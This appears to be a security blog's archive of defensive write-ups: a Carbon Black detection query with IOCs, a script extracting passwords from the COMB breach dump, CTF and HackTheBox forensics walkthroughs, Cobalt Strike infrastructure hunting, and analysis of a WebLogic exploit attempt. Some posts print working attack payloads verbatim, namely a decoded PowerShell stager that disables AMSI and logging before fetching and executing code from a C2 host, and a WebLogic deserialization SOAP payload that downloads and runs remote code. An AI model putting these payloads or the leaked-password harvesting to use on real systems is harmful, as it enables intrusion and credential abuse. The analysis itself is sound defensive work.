Category Archives: analysis
Carbon Black query for Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444)
Carbon Black query that can be use to detect if any MSHTML RCE happened (probably need to be refined more):
((process_cmdline:control.exe AND ((process_cmdline:*.inf AND process_cmdline:AppData) OR (process_cmdline:*.cpl AND process_cmdline:../)) AND -process_cmdline:*\icedrive\*) OR ((hash:6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B OR hash:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52) OR (parent_hash:6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B OR parent_hash:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52) OR (filemod_hash:6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B OR filemod_hash:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52)))
Search if any assets making connections towards IOCs (known IOCs as of 9 Sept):
netconn_domain:joxinu.com OR netconn_domain:pawevi.com OR netconn_domain:macuwuf.com
References:
- https://tdm.socprime.com/tdm/info/SQewQsNtCsP6/#sigma
- https://tdm.socprime.com/tdm/info/vzmHh2p4UtjC/uY7yxHsBeuDgr7zG3EyE/?p=1#sigma
- https://www.joesandbox.com/analysis/476188/1/html
- https://otx.alienvault.com/pulse/613914361364535ed5d60bc4
IOCs:
- hidusi.com
- dodefoh.com
- joxinu.com
- pawevi.com
- macuwuf.com
- 23.106.160.25
- 6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B – championship.inf
- 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 – A Letter before court 4.docx
Extracting password from data leaks dump files
Recently I’ve read about this data leak; COMB: largest breach of all time leaked online with 3.2 billion records.
According to the article, it was known as “Compilation of Many Breaches” (COMB). This data was leaked on a popular hacking forum. It contains billions of user credentials from past leaks from Netflix, LinkedIn, Exploit.in, Bitcoin and more. This leak contains email and password pairs.
Inside the data dump, it was structured something like this:
CompilationOfManyBreaches
folderdata
folder1
file0
file1
folder2
file0
file1
The file contains something like this:
[email protected]:15935755b
[email protected]:jumpjet1111
[email protected]:beamerbum2
[email protected]:dmitri79
[email protected]:7210996
Which indicated as email:password
So I’m wondered… What if we extract either email or password only from all those files? We can maybe create a password list from that. Or we can analyze the password trend. See what’s the top password being used & stuff.
So… We’re not going thru all hundreds of files which total up 100GB+ to extract the password manually… That’s crazy ma man!
To make it easier, I’ve created a Python script to extract the password from all dump file recursively. The code as below:
#!/usr/bin/env python
import os
from timeit import default_timer as timer
from datetime import timedelta
inputfile = "/Desktop/test/data" #change this to your dump files locations
outputfile = open("extracted_password.txt", "w")
print("\nStart extracting...")
start = timer()
for path, dirs, files in os.walk(inputfile):
for filename in files:
fullpath = os.path.join(path, filename)
with open(fullpath, "r") as f:
#print(f.read())
for line in f:
email, password, *rest = line.split(":")
outputfile.write("%s" % password)
#print(password, end='')
outputfile.close()
print("Finish!\n")
end = timer()
print("Time Taken: ", end='')
print(timedelta(seconds=end-start))
Save the code above & run the script:
$ python password_extractor.py
It may takes some times depending on your hardware resources and dump file size. You should see output something like this after the script completed execution:

When completed, you should see a new file named “extracted_password.txt” being created. Inside it contains all the password from all dump file; consolidated into 1 single big ass file.

Now we can start analyzing the password pattern. We can use this command below to see what’s the top 10 password:
$ time sort extracted_password.txt | uniq -c | sort -bgr | head -10

Happy hunting & analyzing! 🙂
Global Community CTF: Mini Bootup by SANS – NM01
Question:
We have captured a file being transferred over the network, can you take a look and see if you can find anything useful?
https://cgames-files.allyourbases.co/nm01.zip
Hint: External tools like CyberChef can help decode the data.
Download & extract the file. You’ll see named “nm01.pcapng“
Open the pcap file using Wireshark. Usually, I sort frame with large “Length” number and view the content.
On Frame 4 – right click – click “Follow” – click “TCP stream”

hmm.. this “SecurePa55word8!” seems interesting. I tried to submit it as flag, but it says wrong..
So, I viewed another large frame, on Frame 26. I saw there’s string “7z“. I thought, it could be a 7z file. I took the hex number; “37 7a” & search on Google. Based on this site – https://www.filesignatures.net/index.php?page=search&search=377ABCAF271C&mode=SIG, it is confirm that this is indeed a 7z file.

So, on the same frame 26, right click and follow TCP stream. It will show you the stream/content of it. At bottom of the stream, on options “Show and save data as“, change it to “Raw”.
Click “Save as…” and save it as name you like – in this example, I’ll name it as “7out“.

When I open the file, there’s folder named “FLAG” and inside it contain file named “Flag.txt”. It’s password protected when we tried to view it.

So, maybe we can use the string/password that we discover earlier:

It works! The flag is “capturing_clouds_and_keys” .
Hunting for possible attacker Cobalt-Strike infra
Recently, we have an incident where suspicious traffic was observed related to external C2. Initial finding found that this IP 172.241.27.17 (172.241.24.0/21) resolved to
atakai[-]technologies[.]host; according to pDNS in Virustotal [1].
So, further digging on this IP found it has port 50050 open. Based on Recorded Future threat analysis report & Cobalt Strike Team Server Population Study, it mentioned that default port for Cobalt Strike controller is on port 50050.
So, I asked to myself. What if the neighboring IPs were also been setup for Cobalt Strike infrastructure? So I decided to go on this journey…
First, we know that the IP range is 172.241.24.0/21. By using this tool, we can convert CIDR notation to a range of IP addresses.
The result, we have 2048 addresses; IP address range between 172.241.24.0-172.241.31.255.
Next, we using online tool named Reverse IP & DNS API from WhoisXML API. Function of this tools is to reveals all domains that share an IP address. Example as below:

To use this tools, we need to buy credit to leverage its API. As for free account, you only have 100 credit to be use on Domain Research Suite tools. But on this case, we need around 2050 credit. Based on their website, 1000 DRS credits = $19.00. So.. yeah..
After you have enough credit, you can use the script as below:
#!/bin/bash
url="https://reverse-ip.whoisxmlapi.com/api/v1?apiKey=whoisxml_apikey&ip="
for i in $(cat ip.txt); do
content="$(curl -s "$url$i")"
echo "$content" >> output.txt
done
Remember to put your API key into the script. It will basically produce result into “output.txt“.
After that, import you result into Excel. Then, we sort and select possible domains from the output based on domain naming convention; e.g. atakai, amatai, amamai:

Now we have possible suspected IPs & domains. To further digging, we’ll leverage Shodan.io to see what are the open port available for those IPs.
To use it, we’ll using script as below:
$ curl -s https://api.shodan.io/shodan/host/{172.241.27.17,172.241.27.44,172.241.27.62,172.241.27.65,172.241.27.66,172.241.27.68,172.241.27.72,172.241.27.225,172.241.29.155,172.241.29.156,172.241.29.157}?key=shodan_apikey | jq -r '. | "IP: \(.ip_str) Ports: \(.ports)"'
The output should be like this:

Now we know 7/11 (no pun intended) IPs been observed by Shodan having port 50050 opened. This indicate that this set of IPs possibly used part of Cobalt Strike infra.
Next step is we can search for date registration for each domain from Whois data. But I’m too lazy to continue this. Also I’ve encountered where several Whois provider giving different info regarding of domain registration date. So yeah, maybe I’ll update next time when I’m free 😉
HackTheBox.eu – Reminiscent (Forensics 40 points)

For this question, I use Volatility to solve it. You can try to use Volatility Workbench. For me, it seems like not working properly (or I’m just too noob to use it).
First, download the file reminiscent.zip from the site. Extract it. You should see file named:
- flounder-pc-memdump.elf
- imageinfo.txt
- Resume.eml
If you open the email file “Resume.eml“, you’ll find it contain a link “resume.zip“.

Based on clue/hint given:
Our recruiter mentioned he received an email from someone regarding their resume.
So maybe the recruiter opened the attachment from the email and something malicious happened.
To start analyzing this incident, we can use Volatility & dig further using the memdump “flounder-pc-memdump.elf“.
Usually, when I start doing memory forensic, I will try to determine which profile suitable to be used. To start with, run this command:
python vol.py -f flounder-pc-memdump.elf imageinfo
If thing goes correctly, you should see something like this:

So we’ll be using profile “Win7SP1x64_23418” for our investigation.
Next, we’ll try to see what were the running processes using “pstree“. This plugin used to display the processes and their parent processes. Run command as below:
python vol.py -f flounder-pc-memdump.elf --profile=Win7SP1x64_23418 pstree
You should see as below:

From this process list, we can see couple of suspicious process; e.g. Thunderbird (free email application) spawning powershell? hmm..
Also remember our recruiter mentioned that he received email from someone? So maybe the recruiter is using Thunderbird to open that email; which he accidentally opened the attachment.
So we lets see if the recruiter host machine contains file named “resume“:
python vol.py -f flounder-pc-memdump.elf --profile=Win7SP1x64_23418 filescan | grep -i resume

Now we know that on recruiter machine contains file name “resume.pdf.lnk“. LNK files are usually seen by users as shortcuts, and used in places like the Desktop and Start Menu.
Lets dump those 2 .lnk file for us to further investigate:
python vol.py -f flounder-pc-memdump.elf --profile=Win7SP1x64_23418 dumpfiles -n -i -r \\.lnk --dump-dir=reminiscent_output

You should see 2 file inside output folder.
Let’s see what’s inside that 2 file:
strings file.496.0xfffffa80017dcc60.resume.pdf.lnk.vacb

As you can see, it contains some base64 strings at below. Let’s analyze those base64 strings.
p o w e r s h e l l   - n o P   - s t a   - w   1   - e n c     J A B H A H I A b w B V A F A A U A B P A E w A a Q B D A F k A U w B F A H Q A d A B J A E 4 A R w B z A C A A P Q A g A F s A c g B F A E Y A X Q A u A E E A U w B z A G U A T Q B C A E w A W Q A u A E c A R Q B 0 A F Q A e Q B w A E U A K A A n A F M A e Q B z A H Q A Z Q B t A C 4 A T Q B h A G 4 A Y Q B n A G U A b Q B l A G 4 A d A A u A E E A d Q B 0 A G 8 A b Q B h A H Q A a Q B v A G 4 A L g B V A H Q A a Q B s A H M A J w A p A C 4 A I g B H A E U A d A B G A E k A R Q B g A G w A Z A A i A C g A J w B j A G E A Y w B o A G U A Z A B H A H I A b w B 1 A H A A U A B v A G w A a Q B j A H k A U w B l A H Q A d A B p A G 4 A Z w B z A C c A L A A g A C c A T g A n A C s A J w B v A G 4 A U A B 1 A G I A b A B p A G M A L A B T A H Q A Y Q B 0 A G k A Y w A n A C k A L g B H A E U A V A B W A G E A b A B V A G U A K A A k A G 4 A d Q B s A E w A K Q A 7 A C Q A R w B S A G 8 A d Q B Q A F A A T w B s A E k A Q w B 5 A F M A Z Q B U A F Q A a Q B O A G c A U w B b A C c A U w B j A H I A a Q B w A H Q A Q g A n A C s A J w B s A G 8 A Y w B r A E w A b w B n A G c A a Q B u A G c A J w B d A F s A J w B F A G 4 A Y Q B i A G w A Z Q B T A G M A c g B p A H A A d A B C A C c A K w A n A G w A b w B j A G s A T A B v A G c A Z w B p A G 4 A Z w A n A F 0 A I A A 9 A C A A M A A 7 A C Q A R w B S A G 8 A d Q B Q A F A A T w B M A E k A Q w B Z A F M A R Q B 0 A F Q A a Q B u A G c A U w B b A C c A U w B j A H I A a Q B w A H Q A Q g A n A C s A J w B s A G 8 A Y w B r A E w A b w B n A G c A a Q B u A G c A J w B d A F s A J w B F A G 4 A Y Q B i A G w A Z Q B T A G M A c g B p A H A A d A B C A G w A b w B j A G s A S Q B u A H Y A b w B j A G E A d A B p A G 8 A b g B M A G 8 A Z w B n A G k A b g B n A C c A X Q A g A D 0 A I A A w A D s A W w B S A G U A Z g B d A C 4 A Q Q B z A F M A Z Q B t A E I A b A B 5 A C 4 A R w B l A F Q A V A B 5 A F A A R Q A o A C c A U w B 5 A H M A d A B l A G 0 A L g B N A G E A b g B h A G c A Z Q B t A G U A b g B 0 A C 4 A Q Q B 1 A H Q A b w B t A G E A d A B p A G 8 A b g A u A E E A b Q B z A G k A V Q B 0 A G k A b A B z A C c A K Q B 8 A D 8 A e w A k A F 8 A f Q B 8 A C U A e w A k A F 8 A L g B H A E U A d A B G A G k A Z Q B M A G Q A K A A n A G E A b Q B z A G k A S Q B u A G k A d A B G A G E A a Q B s A G U A Z A A n A C w A J w B O A G 8 A b g B Q A H U A Y g B s A G k A Y w A s A F M A d A B h A H Q A a Q B j A C c A K Q A u A F M A R Q B U A F Y A Y Q B M A H U A R Q A o A C Q A T g B 1 A G w A T A A s A C Q A V A B y A H U A Z Q A p A H 0 A O w B b A F M A e Q B z A F Q A Z Q B t A C 4 A T g B l A F Q A L g B T A E U A c g B W A E k A Y w B l A F A A T w B J A G 4 A d A B N A E E A b g B B A G c A R Q B S A F 0 A O g A 6 A E U A e A B w A E U A Y w B 0 A D E A M A A w A E M A T w B u A F Q A a Q B u A H U A R Q A 9 A D A A O w A k A F c A Q w A 9 A E 4 A R Q B X A C 0 A T w B C A G o A R Q B j A F Q A I A B T A H k A c w B U A E U A T Q A u A E 4 A R Q B 0 A C 4 A V w B l A E I A Q w B s A E k A R Q B u A H Q A O w A k A H U A P Q A n A E 0 A b w B 6 A G k A b A B s A G E A L w A 1 A C 4 A M A A g A C g A V w B p A G 4 A Z A B v A H c A c w A g A E 4 A V A A g A D Y A L g A x A D s A I A B X A E 8 A V w A 2 A D Q A O w A g A F Q A c g B p A G Q A Z Q B u A H Q A L w A 3 A C 4 A M A A 7 A C A A c g B 2 A D o A M Q A x A C 4 A M A A p A C A A b A B p A G s A Z Q A g A E c A Z Q B j A G s A b w A n A D s A J A B 3 A E M A L g B I A G U A Y Q B E A G U A c g B T A C 4 A Q Q B k A G Q A K A A n A F U A c w B l A H I A L Q B B A G c A Z Q B u A H Q A J w A s A C Q A d Q A p A D s A J A B X A G M A L g B Q A F I A b w B Y A H k A P Q B b A F M A e Q B z A F Q A Z Q B N A C 4 A T g B F A F Q A L g B X A G U A Y g B S A G U A c Q B 1 A E U A c w B 0 A F 0 A O g A 6 A E Q A Z Q B m A G E A V Q B M A H Q A V w B l A E I A U A B S A E 8 A W A B Z A D s A J A B 3 A E M A L g B Q A F I A b w B Y A F k A L g B D A F I A R Q B E A G U A T g B 0 A E k A Y Q B M A F M A I A A 9 A C A A W w B T A F k A U w B U A G U A T Q A u A E 4 A R Q B U A C 4 A Q w B y A G U A R A B F A G 4 A V A B p A G E A T A B D A G E A Q w B o A G U A X Q A 6 A D o A R A B l A E Y A Y Q B 1 A E w A V A B O A E U A d A B 3 A E 8 A c g B r A E M A c g B l A G Q A Z Q B u A H Q A a Q B B A G w A U w A 7 A C Q A S w A 9 A F s A U w B Z A F M A d A B F A E 0 A L g B U A G U A e A B 0 A C 4 A R Q B O A E M A T w B E A E k A b g B n A F 0 A O g A 6 A E E A U w B D A E k A S Q A u A E c A R Q B 0 A E I A e Q B 0 A E U A c w A o A C c A R Q A x A G c A T Q B H A G Q A Z g B U A E A A Z Q B v A E 4 A P g B 4 A D k A e w B d A D I A R g A 3 A C s A Y g B z A E 8 A b g A 0 A C 8 A U w B p A F E A c g B 3 A C c A K Q A 7 A C Q A U g A 9 A H s A J A B E A C w A J A B L A D 0 A J A B B A H I A Z w B T A D s A J A B T A D 0 A M A A u A C 4 A M g A 1 A D U A O w A w A C 4 A L g A y A D U A N Q B 8 A C U A e w A k A E o A P Q A o A C Q A S g A r A C Q A U w B b A C Q A X w B d A C s A J A B L A F s A J A B f A C U A J A B L A C 4 A Q w B v A H U A b g B U A F 0 A K Q A l A D I A N Q A 2 A D s A J A B T A F s A J A B f A F 0 A L A A k A F M A W w A k A E o A X Q A 9 A C Q A U w B b A C Q A S g B d A C w A J A B T A F s A J A B f A F 0 A f Q A 7 A C Q A R A B 8 A C U A e w A k A E k A P Q A o A C Q A S Q A r A D E A K Q A l A D I A N Q A 2 A D s A J A B I A D 0 A K A A k A E g A K w A k A F M A W w A k A E k A X Q A p A C U A M g A 1 A D Y A O w A k A F M A W w A k A E k A X Q A s A C Q A U w B b A C Q A S A B d A D 0 A J A B T A F s A J A B I A F 0 A L A A k A F M A W w A k A E k A X Q A 7 A C Q A X w A t A G I A e A B v A F I A J A B T A F s A K A A k A F M A W w A k A E k A X Q A r A C Q A U w B b A C Q A S A B d A C k A J Q A y A D U A N g B d A H 0 A f Q A 7 A C Q A d w B j A C 4 A S A B F A E E A Z A B F A H I A c w A u A E E A R A B E A C g A I g B D A G 8 A b w B r A G k A Z Q A i A C w A I g B z A G U A c w B z A G k A b w B u A D 0 A T Q B D A G E A a A B 1 A F E A V g B m A H o A M A B 5 A E 0 A N g B W A E I A Z Q A 4 A G Y A e g B W A D k A d A A 5 A G o A b w B t A G 8 A P Q A i A C k A O w A k A H M A Z Q B y A D 0 A J w B o A H Q A d A B w A D o A L w A v A D E A M A A u A D E A M A A u A D k A O Q A u A D U A N Q A 6 A D g A M A A n A D s A J A B 0 A D 0 A J w A v A G w A b w B n A G k A b g A v A H A A c g B v A G M A Z Q B z A H M A L g B w A G g A c A A n A D s A J A B m A G w A Y Q B n A D 0 A J w B I A F Q A Q g B 7 A C Q A X w B q A D A A R w B f A H k A M A B 1 A F I A X w B N A D M A b Q A w A H I A W Q B f A C Q A f Q A n A D s A J A B E A G E A d A B B A D 0 A J A B X A E M A L g B E A G 8 A V w B O A E w A b w B h A E Q A R A B B A F Q A Q Q A o A C Q A U w B l A F I A K w A k A H Q A K Q A 7 A C Q A a Q B 2 A D 0 A J A B k A G E A V A B B A F s A M A A u A C 4 A M w B d A D s A J A B E A E E A d A B h A D 0 A J A B E A G E A V A B h A F s A N A A u A C 4 A J A B E A E E A d A B h A C 4 A T A B l A G 4 A R w B U A E g A X Q A 7 A C 0 A S g B P A E k A T g B b A E M A S A B B A H I A W w B d A F 0 A K A A m A C A A J A B S A C A A J A B k A G E A d A B B A C A A K A A k A E k A V g A r A C Q A S w A p A C k A f A B J A E U A W A A = 
By using Cyberchef, the base64 strings appear to be another Powershell base64 encoded command:
powershell -noP -sta -w 1 -enc JABHAHIAbwBVAFAAUABPAEwAaQBDAFkAUwBFAHQAdABJAE4ARwBzACAAPQAgAFsAcgBFAEYAXQAuAEEAUwBzAGUATQBCAEwAWQAuAEcARQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAEkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAVABWAGEAbABVAGUAKAAkAG4AdQBsAEwAKQA7ACQARwBSAG8AdQBQAFAATwBsAEkAQwB5AFMAZQBUAFQAaQBOAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwBSAG8AdQBQAFAATwBMAEkAQwBZAFMARQB0AFQAaQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUAZgBdAC4AQQBzAFMAZQBtAEIAbAB5AC4ARwBlAFQAVAB5AFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAHUARQAoACQATgB1AGwATAAsACQAVAByAHUAZQApAH0AOwBbAFMAeQBzAFQAZQBtAC4ATgBlAFQALgBTAEUAcgBWAEkAYwBlAFAATwBJAG4AdABNAEEAbgBBAGcARQBSAF0AOgA6AEUAeABwAEUAYwB0ADEAMAAwAEMATwBuAFQAaQBuAHUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBCAGoARQBjAFQAIABTAHkAcwBUAEUATQAuAE4ARQB0AC4AVwBlAEIAQwBsAEkARQBuAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIAbwBYAHkAPQBbAFMAeQBzAFQAZQBNAC4ATgBFAFQALgBXAGUAYgBSAGUAcQB1AEUAcwB0AF0AOgA6AEQAZQBmAGEAVQBMAHQAVwBlAEIAUABSAE8AWABZADsAJAB3AEMALgBQAFIAbwBYAFkALgBDAFIARQBEAGUATgB0AEkAYQBMAFMAIAA9ACAAWwBTAFkAUwBUAGUATQAuAE4ARQBUAC4AQwByAGUARABFAG4AVABpAGEATABDAGEAQwBoAGUAXQA6ADoARABlAEYAYQB1AEwAVABOAEUAdAB3AE8AcgBrAEMAcgBlAGQAZQBuAHQAaQBBAGwAUwA7ACQASwA9AFsAUwBZAFMAdABFAE0ALgBUAGUAeAB0AC4ARQBOAEMATwBEAEkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0AEIAeQB0AEUAcwAoACcARQAxAGcATQBHAGQAZgBUAEAAZQBvAE4APgB4ADkAewBdADIARgA3ACsAYgBzAE8AbgA0AC8AUwBpAFEAcgB3ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABFAEEAZABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0ATQBDAGEAaAB1AFEAVgBmAHoAMAB5AE0ANgBWAEIAZQA4AGYAegBWADkAdAA5AGoAbwBtAG8APQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADkAOQAuADUANQA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABmAGwAYQBnAD0AJwBIAFQAQgB7ACQAXwBqADAARwBfAHkAMAB1AFIAXwBNADMAbQAwAHIAWQBfACQAfQAnADsAJABEAGEAdABBAD0AJABXAEMALgBEAG8AVwBOAEwAbwBhAEQARABBAFQAQQAoACQAUwBlAFIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAGEAVABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAGEAVABhAFsANAAuAC4AJABEAEEAdABhAC4ATABlAG4ARwBUAEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
After we decoded it, it appear to be some sort of Powershell instruction for the host machine with various hard-coded parameter e.g. hard-coded User-Agent, IP address, path & HTB flag 😉
$GroUPPOLiCYSEttINGs = [rEF].ASseMBLY.GEtTypE('System.Management.Automation.Utils')."GEtFIE`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static').GETValUe($nulL);$GRouPPOlICySeTTiNgS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;$GRouPPOLICYSEtTingS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;[Ref].AsSemBly.GeTTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SETVaLuE($NulL,$True)};[SysTem.NeT.SErVIcePOIntMAnAgER]::ExpEct100COnTinuE=0;$WC=NEW-OBjEcT SysTEM.NEt.WeBClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeaDerS.Add('User-Agent',$u);$Wc.PRoXy=[SysTeM.NET.WebRequEst]::DefaULtWeBPROXY;$wC.PRoXY.CREDeNtIaLS = [SYSTeM.NET.CreDEnTiaLCaChe]::DeFauLTNEtwOrkCredentiAlS;$K=[SYStEM.Text.ENCODIng]::ASCII.GEtBytEs('E1gMGdfT@eoN>x9{]2F7+bsOn4/SiQrw');$R={$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxoR$S[($S[$I]+$S[$H])%256]}};$wc.HEAdErs.ADD("Cookie","session=MCahuQVfz0yM6VBe8fzV9t9jomo=");$ser='http://10.10.99.55:80';$t='/login/process.php';$flag='HTB{$_j0G_y0uR_M3m0rY_$}';$DatA=$WC.DoWNLoaDDATA($SeR+$t);$iv=$daTA[0..3];$DAta=$DaTa[4..$DAta.LenGTH];-JOIN[CHAr[]](& $R $datA ($IV+$K))|IEX
So there you go. The flag is HTB{$_j0G_y0uR_M3m0rY_$}.
Analyzing Phishing Email – Word XML File Analysis
Recently I’ve observed a phishing mail as below:
https://www.virustotal.com/#/file/cf027dd938f1a268f45f2ea786dc538ab47f35006fb12d0b64e0867bccf789c0/detection – clean
The file seems to be clean per VT. Interestingly, on details sections, found 2 URLs under OpenXML Doc Info; section Package Relationships:

To search for these URLs, first you’ll need to rename the Word doc file to compressed zip file. E.g. sample.doc to sample.zip.
Then, extract the zip file. The URLs can be found inside file document.xml.rels (~/sample_folder/word/_rels/):

Its may look simple if you know which & where the file to be look at.
I’m thinking; what if we can search for all the URL/hyperlink in the XML files content of the Word document, without actually having to open it one-by-one.
To do that, we’ll using zipdump, re-search (together with reextra) Python script tools by Didier Stevens:
Download the Python scripts mentioned above and put it into one place. Then, executed this command below:
./zipdump.py -D sample.zip | ./re-search.py -f -n url -u
Command above will search the content of the zip file & extract/applied regex searching for URLs.
As you can see below, these is all the URLs that contained in the Word doc:

Analyzing Oracle WebLogic attack
Recently we received an alert from our WAF related to an attack towards our environment.
Further review of the alert found that the attacker is using Oracle WebLogic RCE Deserialization Vulnerability (CVE-2018-2628).
We observed that the attacker included some sort of PowerShell command in their request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACsAIAAkAE8AUwAiADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAMQAuADIAMwAwAC4AMgAyADkALgAyADIANgAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Seems like the PowerShell command is using Base64 encoding for obfuscation. I use CyberChef to decode the base64. Result we get after decoding it:
$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL+ $OS";IEX $WC.DownloadString('http://111.230.229.226/images/test/DL.php');
Seems like it tried to fetch file DL.php at http://111.230.229.226/images/test/DL.php. Lets try grab that file:
root@box:~# wget http://111.230.229.226/images/test/DL.php
--2018-04-29 19:50:27-- http://111.230.229.226/images/test/DL.php
Connecting to 111.230.229.226:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2018-04-29 19:50:28 ERROR 404: Not Found.
Hmm.. Error 404..? Is it true error? Or did we missing something here?
Lets analyze the command carefully:
PS C:\Users\Fossil\Desktop> $OS=(GWmi Win32_OperatingSystem).Caption;
PS C:\Users\Fossil\Desktop> $WC=New-Object Net.WebClient;
PS C:\Users\Fossil\Desktop> $WC.Headers['User-Agent']="PowerShell/WL+ $OS";
PS C:\Users\Fossil\Desktop>
PS C:\Users\Fossil\Desktop> echo $OS;
Microsoft Windows 7 Ultimate
